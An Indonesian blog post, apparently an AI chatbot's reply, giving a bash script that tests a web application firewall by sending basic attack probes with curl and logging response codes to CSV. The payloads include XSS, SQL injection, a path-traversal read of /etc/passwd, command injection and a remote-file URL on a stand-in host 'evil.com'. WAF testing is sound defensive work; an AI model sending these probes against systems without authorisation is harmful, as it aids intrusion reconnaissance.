Script Untuk Test Fungsi WAF
Sip bro! Berikut versi lengkap dan diperbarui dari waf-test.sh
yang:
-
Memisahkan query string dan path agar URL encoding benar.
-
Bisa memilih endpoint (default
/
). -
Mengirim beberapa payload: XSS, SQLi, LFI, Command Injection, Remote File.
-
Menyimpan hasil ringkas ke CSV (
waf-test-results.csv
).
#!/bin/bash
# waf-test.sh
# Test WAF protections (XSS, SQLi, LFI, Command Injection, Remote File) terhadap target URL
# Hasil disimpan di waf-test-results.csv
if [ -z "$1" ]; then
echo "Usage: $0 <target_url> [endpoint]"
echo "Example: $0 https://waf.widianto.org /cerebro/"
exit 1
fi
TARGET="$1"
ENDPOINT="${2:-/}" # default endpoint /
OUTPUT_FILE="waf-test-results.csv"
echo "Target,Endpoint,Payload,EncodedURL,HTTP_Code" > "$OUTPUT_FILE"
# Array payloads
declare -A PAYLOADS
PAYLOADS["XSS"]="?q=<script>alert(1)</script>"
PAYLOADS["SQLi"]="?id=1' OR '1'='1"
PAYLOADS["LFI"]="?file=../../etc/passwd"
PAYLOADS["Command Injection"]="?cmd=ls"
PAYLOADS["Remote File"]="?url=http://evil.com/malicious.txt"
echo "Testing WAF on target: $TARGET$ENDPOINT"
echo "-------------------------------------"
for NAME in "${!PAYLOADS[@]}"; do
RAW_PAYLOAD="${PAYLOADS[$NAME]}"
# Pisahkan query string
if [[ "$RAW_PAYLOAD" == \?* ]]; then
QUERY="${RAW_PAYLOAD:1}" # hapus '?'
# Encode query string tapi jangan encode '=' dan '&'
ENCODED_QUERY=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$QUERY''', safe='=&'))")
FULL_URL="${TARGET}${ENDPOINT}?${ENCODED_QUERY}"
else
FULL_URL="${TARGET}${ENDPOINT}${RAW_PAYLOAD}"
fi
echo "[$NAME] Testing: $FULL_URL"
HTTP_CODE=$(curl -o /dev/null -s -w "%{http_code}" "$FULL_URL")
echo "HTTP Response Code: $HTTP_CODE"
echo "-------------------------------------"
# Simpan ke CSV
echo "$TARGET,$ENDPOINT,$NAME,$FULL_URL,$HTTP_CODE" >> "$OUTPUT_FILE"
done
echo "Testing selesai. Hasil disimpan di $OUTPUT_FILE"
🔹 Cara pakai
-
Simpan script sebagai
waf-test.sh
-
Bikin executable:
chmod +x waf-test.sh
-
Jalankan test dengan endpoint yang valid di server:
./waf-test.sh https://waf.widianto.org /cerebro/
-
Jika endpoint tidak dikirim, default
/
digunakan.
-
Lihat hasil ringkas di CSV:
cat waf-test-results.csv
🔹 Catatan penting
-
Pastikan endpoint yang dipilih ada (misal
/cerebro/
,/index.php
). -
WAF akan memblok request 403 jika rules trigger.
-
Jika HTTP 200, berarti request lolos WAF (atau endpoint tidak memicu rule).
-
HTTP 404 → endpoint tidak ada, payload tidak sempat diperiksa WAF.
Kalau mau, saya bisa buat versi batch yang otomatis baca daftar domain dari file dan nge-test semua target, hasil CSV-nya digabung, sehingga tinggal satu kali jalankan untuk semua vhost.
Apakah mau langsung saya buatkan versi batch itu juga?
No Comments